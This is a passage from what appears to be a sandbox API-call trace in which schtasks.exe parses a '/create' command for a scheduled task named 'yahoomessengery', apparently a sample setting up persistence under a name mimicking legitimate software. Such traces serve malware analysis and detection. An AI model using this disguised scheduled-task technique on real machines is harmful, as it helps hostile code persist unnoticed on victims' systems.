(in: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248, _DoWildCard=0, _StartInfo=0xffdb125c | out: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248) returned 0 [0066.913] _onexit (_Func=0xffda2ab0) returned 0xffda2ab0 [0066.913] _onexit (_Func=0xffda2ac4) returned 0xffda2ac4 [0066.913] _onexit (_Func=0xffda2afc) returned 0xffda2afc [0066.913] _onexit (_Func=0xffda2b58) returned 0xffda2b58 [0066.913] _onexit (_Func=0xffda2b80) returned 0xffda2b80 [0066.914] _onexit (_Func=0xffda2ba8) returned 0xffda2ba8 [0066.914] _onexit (_Func=0xffda2bd0) returned 0xffda2bd0 [0066.914] _onexit (_Func=0xffda2bf8) returned 0xffda2bf8 [0066.914] _onexit (_Func=0xffda2c20) returned 0xffda2c20 [0066.914] _onexit (_Func=0xffda2c48) returned 0xffda2c48 [0066.914] _onexit (_Func=0xffda2c70) returned 0xffda2c70 [0066.915] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.915] WinSqmIsOptedIn () returned 0x0 [0066.915] GetProcessHeap () returned 0x170000 [0066.915] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x1855f0 [0066.915] SetLastError (dwErrCode=0x0) [0066.916] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0066.945] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0066.945] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0066.945] VerifyVersionInfoW (in: lpVersionInformation=0x11f520, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f520) returned 1 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bbb0 [0066.945] lstrlenW (lpString="") returned 0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x2) returned 0x18bbd0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ae0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bbf0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b10 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b40 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b70 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ba0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bc10 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185bd0 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c00 [0066.945] GetProcessHeap () returned 0x170000 [0066.945] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c30 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c60 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bc30 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c90 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185cc0 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185cf0 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185d20 [0066.946] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.946] SetLastError (dwErrCode=0x0) [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185d50 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185d80 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185db0 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185de0 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185e10 [0066.946] GetProcessHeap () returned 0x170000 [0066.946] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bc50 [0066.946] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.947] GetProcessHeap () returned 0x170000 [0066.947] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x208) returned 0x18bdf0 [0066.947] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0066.947] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0066.950] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0066.950] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0066.950] GetProcessHeap () returned 0x170000 [0066.950] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18c3c0 [0066.950] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0066.950] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18c3c0 | out: lpData=0x18c3c0) returned 1 [0066.951] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0066.951] VerQueryValueW (in: pBlock=0x18c3c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f608, puLen=0x11f670 | out: lplpBuffer=0x11f608*=0x18c75c, puLen=0x11f670) returned 1 [0066.953] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.953] _vsnwprintf (in: _Buffer=0x18bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f5e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0066.953] VerQueryValueW (in: pBlock=0x18c3c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f678, puLen=0x11f668 | out: lplpBuffer=0x11f678*=0x18c588, puLen=0x11f668) returned 1 [0066.953] lstrlenW (lpString="schtasks.exe") returned 12 [0066.953] lstrlenW (lpString="schtasks.exe") returned 12 [0066.953] lstrlenW (lpString=".EXE") returned 4 [0066.953] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0066.954] lstrlenW (lpString="schtasks.exe") returned 12 [0066.954] lstrlenW (lpString=".EXE") returned 4 [0066.954] _memicmp (_Buf1=0x18bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.954] lstrlenW (lpString="schtasks") returned 8 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185f00 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ccd0 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd00 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd30 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bc70 [0066.955] _memicmp (_Buf1=0x18bc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa0) returned 0x18c1f0 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd60 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd90 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdc0 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bc90 [0066.955] _memicmp (_Buf1=0x18bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.955] GetProcessHeap () returned 0x170000 [0066.955] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x200) returned 0x18d4a0 [0066.955] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0066.956] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0066.956] GetProcessHeap () returned 0x170000 [0066.956] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187c70 [0066.956] _vsnwprintf (in: _Buffer=0x18c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f5e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0066.956] GetProcessHeap () returned 0x170000 [0066.956] GetProcessHeap () returned 0x170000 [0066.956] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0) returned 1 [0066.956] GetProcessHeap () returned 0x170000 [0066.956] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3c0) returned 0x74e [0066.957] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0 | out: hHeap=0x170000) returned 1 [0066.957] SetLastError (dwErrCode=0x0) [0066.957] GetThreadLocale () returned 0x409 [0066.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.957] lstrlenW (lpString="?") returned 1 [0066.957] GetThreadLocale () returned 0x409 [0066.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.957] lstrlenW (lpString="create") returned 6 [0066.957] GetThreadLocale () returned 0x409 [0066.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.957] lstrlenW (lpString="delete") returned 6 [0066.957] GetThreadLocale () returned 0x409 [0066.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.957] lstrlenW (lpString="query") returned 5 [0066.958] GetThreadLocale () returned 0x409 [0066.958] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.958] lstrlenW (lpString="change") returned 6 [0066.958] GetThreadLocale () returned 0x409 [0066.958] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.958] lstrlenW (lpString="run") returned 3 [0066.958] GetThreadLocale () returned 0x409 [0066.958] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.958] lstrlenW (lpString="end") returned 3 [0066.958] GetThreadLocale () returned 0x409 [0066.958] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.958] lstrlenW (lpString="showsid") returned 7 [0066.958] GetThreadLocale () returned 0x409 [0066.958] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.958] SetLastError (dwErrCode=0x0) [0066.958] SetLastError (dwErrCode=0x0) [0066.958] lstrlenW (lpString="/create") returned 7 [0066.958] lstrlenW (lpString="-/") returned 2 [0066.958] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.958] lstrlenW (lpString="?") returned 1 [0066.958] lstrlenW (lpString="?") returned 1 [0066.958] GetProcessHeap () returned 0x170000 [0066.958] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c2a0 [0066.958] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.958] GetProcessHeap () returned 0x170000 [0066.958] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18c3c0 [0066.958] lstrlenW (lpString="create") returned 6 [0066.959] GetProcessHeap () returned 0x170000 [0066.959] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c3e0 [0066.959] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.959] GetProcessHeap () returned 0x170000 [0066.959] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x14) returned 0x18c400 [0066.959] _vsnwprintf (in: _Buffer=0x18c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.959] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.959] lstrlenW (lpString="|?|") returned 3 [0066.959] lstrlenW (lpString="|create|") returned 8 [0066.959] SetLastError (dwErrCode=0x490) [0066.959] lstrlenW (lpString="create") returned 6 [0066.959] lstrlenW (lpString="create") returned 6 [0066.959] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.959] GetProcessHeap () returned 0x170000 [0066.959] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0) returned 1 [0066.959] GetProcessHeap () returned 0x170000 [0066.959] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c3c0, Size=0x14) returned 0x18c420 [0066.959] lstrlenW (lpString="create") returned 6 [0066.959] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.959] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.959] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.959] lstrlenW (lpString="|create|") returned 8 [0066.959] lstrlenW (lpString="|create|") returned 8 [0066.959] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0066.959] SetLastError (dwErrCode=0x0) [0066.959] SetLastError (dwErrCode=0x0) [0066.959] SetLastError (dwErrCode=0x0) [0066.959] lstrlenW (lpString="/tn") returned 3 [0066.960] lstrlenW (lpString="-/") returned 2 [0066.960] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.960] lstrlenW (lpString="?") returned 1 [0066.960] lstrlenW (lpString="?") returned 1 [0066.960] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] lstrlenW (lpString="tn") returned 2 [0066.960] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.960] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.960] lstrlenW (lpString="|?|") returned 3 [0066.960] lstrlenW (lpString="|tn|") returned 4 [0066.960] SetLastError (dwErrCode=0x490) [0066.960] lstrlenW (lpString="create") returned 6 [0066.960] lstrlenW (lpString="create") returned 6 [0066.960] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] lstrlenW (lpString="tn") returned 2 [0066.960] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.960] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.960] lstrlenW (lpString="|create|") returned 8 [0066.960] lstrlenW (lpString="|tn|") returned 4 [0066.960] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0066.960] SetLastError (dwErrCode=0x490) [0066.960] lstrlenW (lpString="delete") returned 6 [0066.960] lstrlenW (lpString="delete") returned 6 [0066.960] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] lstrlenW (lpString="tn") returned 2 [0066.960] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.960] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.960] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.961] lstrlenW (lpString="|delete|") returned 8 [0066.961] lstrlenW (lpString="|tn|") returned 4 [0066.961] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0066.961] SetLastError (dwErrCode=0x490) [0066.961] lstrlenW (lpString="query") returned 5 [0066.961] lstrlenW (lpString="query") returned 5 [0066.961] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.961] lstrlenW (lpString="tn") returned 2 [0066.961] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.961] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.961] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.961] lstrlenW (lpString="|query|") returned 7 [0066.961] lstrlenW (lpString="|tn|") returned 4 [0066.961] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0066.961] SetLastError (dwErrCode=0x490) [0066.961] lstrlenW (lpString="change") returned 6 [0066.961] lstrlenW (lpString="change") returned 6 [0066.961] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.961] lstrlenW (lpString="tn") returned 2 [0066.961] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.961] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|change|") returned 8 [0066.961] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.961] lstrlenW (lpString="|change|") returned 8 [0066.961] lstrlenW (lpString="|tn|") returned 4 [0066.961] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0066.961] SetLastError (dwErrCode=0x490) [0066.961] lstrlenW (lpString="run") returned 3 [0066.961] lstrlenW (lpString="run") returned 3 [0066.961] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.961] lstrlenW (lpString="tn") returned 2 [0066.962] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.962] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|run|") returned 5 [0066.962] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.962] lstrlenW (lpString="|run|") returned 5 [0066.962] lstrlenW (lpString="|tn|") returned 4 [0066.962] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0066.962] SetLastError (dwErrCode=0x490) [0066.962] lstrlenW (lpString="end") returned 3 [0066.962] lstrlenW (lpString="end") returned 3 [0066.962] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.962] lstrlenW (lpString="tn") returned 2 [0066.962] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.962] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|end|") returned 5 [0066.962] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.962] lstrlenW (lpString="|end|") returned 5 [0066.962] lstrlenW (lpString="|tn|") returned 4 [0066.962] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0066.962] SetLastError (dwErrCode=0x490) [0066.962] lstrlenW (lpString="showsid") returned 7 [0066.962] lstrlenW (lpString="showsid") returned 7 [0066.962] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.962] GetProcessHeap () returned 0x170000 [0066.962] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c420) returned 1 [0066.962] GetProcessHeap () returned 0x170000 [0066.962] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c420, Size=0x16) returned 0x18c420 [0066.962] lstrlenW (lpString="tn") returned 2 [0066.962] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.963] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|showsid|") returned 9 [0066.963] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|tn|") returned 4 [0066.963] lstrlenW (lpString="|showsid|") returned 9 [0066.963] lstrlenW (lpString="|tn|") returned 4 [0066.963] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0066.963] SetLastError (dwErrCode=0x490) [0066.963] SetLastError (dwErrCode=0x490) [0066.963] SetLastError (dwErrCode=0x0) [0066.963] lstrlenW (lpString="/tn") returned 3 [0066.963] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0066.963] SetLastError (dwErrCode=0x490) [0066.966] SetLastError (dwErrCode=0x0) [0066.966] lstrlenW (lpString="/tn") returned 3 [0066.966] GetProcessHeap () returned 0x170000 [0066.966] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c3c0 [0066.966] GetProcessHeap () returned 0x170000 [0066.966] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdf0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] SetLastError (dwErrCode=0x0) [0066.966] lstrlenW (lpString="yahoomessengery") returned 15 [0066.966] lstrlenW (lpString="-/") returned 2 [0066.966] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0066.966] SetLastError (dwErrCode=0x490) [0066.967] SetLastError (dwErrCode=0x490) [0066.967] SetLastError (dwErrCode=0x0) [0066.967] lstrlenW (lpString="yahoomessengery") returned 15 [0066.967] StrChrIW (lpStart="yahoomessengery", wMatch=0x3a) returned 0x0 [0066.967] SetLastError (dwErrCode=0x490) [0066.967] SetLastError (dwErrCode=0x0) [0066.967] lstrlenW (lpString="yahoomessengery") returned 15 [0066.967] GetProcessHeap () returned 0x170000 [0066.967] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce20 [0066.967] GetProcessHeap () returned 0x170000 [0066.967] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce50 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] SetLastError (dwErrCode=0x0) [0066.967] lstrlenW (lpString="/sc") returned 3 [0066.967] lstrlenW (lpString="-/") returned 2 [0066.967] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.967] lstrlenW (lpString="?") returned 1 [0066.967] lstrlenW (lpString="?") returned 1 [0066.967] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.967] lstrlenW (lpString="sc") returned 2 [0066.967] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.967] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|?|") returned 3 [0066.967] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.967] lstrlenW (lpString="|?|") returned 3 [0066.967] lstrlenW (lpString="|sc|") returned 4 [0066.968] SetLastError (dwErrCode=0x490) [0066.968] lstrlenW (lpString="create") returned 6 [0066.968] lstrlenW (lpString="create") returned 6 [0066.968] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.968] lstrlenW (lpString="sc") returned 2 [0066.968] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.968] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|create|") returned 8 [0066.968] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.968] lstrlenW (lpString="|create|") returned 8 [0066.968] lstrlenW (lpString="|sc|") returned 4 [0066.968] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0066.968] SetLastError (dwErrCode=0x490) [0066.968] lstrlenW (lpString="delete") returned 6 [0066.968] lstrlenW (lpString="delete") returned 6 [0066.968] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.968] lstrlenW (lpString="sc") returned 2 [0066.968] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.968] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|delete|") returned 8 [0066.968] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|sc|") returned 4 [0066.968] lstrlenW (lpString="|delete|") returned 8 [0066.968] lstrlenW (lpString="|sc|") returned 4 [0066.968] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0066.968] SetLastError (dwErrCode=0x490) [0066.969] lstrlenW (lpString="query") returned 5 [0066.969] lstrlenW (lpString="query") returned 5 [0066.969] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.969] lstrlenW (lpString="sc") returned 2 [0066.969] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.969] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f5f8 | out: _Buffer="|query|") returned 7 [0066.969] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", 